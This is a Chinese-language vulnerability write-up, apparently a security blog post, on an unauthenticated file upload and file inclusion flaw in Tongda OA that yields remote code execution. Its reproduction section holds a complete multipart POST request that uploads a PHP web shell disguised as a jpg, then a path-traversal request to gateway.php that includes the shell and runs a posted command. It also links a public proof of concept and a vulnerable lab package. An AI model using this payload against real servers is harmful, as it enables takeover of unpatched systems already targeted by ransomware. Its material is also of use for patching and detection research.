通达OA任意文件上传和文件包含漏洞导致RCE
0x00 概述
3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。
在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。
0x01 影响版本
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017
0x02 环境搭建
下载安装包一键安装即可(后附环境下载链接)
使用默认admin/空密码登陆
0x03 漏洞复现
该漏洞存在于以下两个链接中,并且无需认证即可访问。
任意文件上传漏洞:/ispirit/im/upload.php
本地文件包含漏洞:/ispirit/interface/gateway.php
首先访问/ispirit/im/upload.php,使用Payload上传shell的.jpg文件
Payload:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.10.128
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB—
上传成功后看到服务端返回的数据。上传的文件名即为2003/504527822.jpg
然后访问/ispirit/interface/gateway.php 链接,发送POST数据
json={"url":"../../../general/../attach/im/2003/504527822.jpg "}&cmd=ipconfig
系统命令执行成功。
0x04 修复建议
更新官方发布的补丁
POC地址:https://github.com/jas502n/OA-tongda-RCE
漏洞环境:https://pan.baidu.com/s/1xebepJT1SO7bjUi0JHF8aw 提取码:1l2w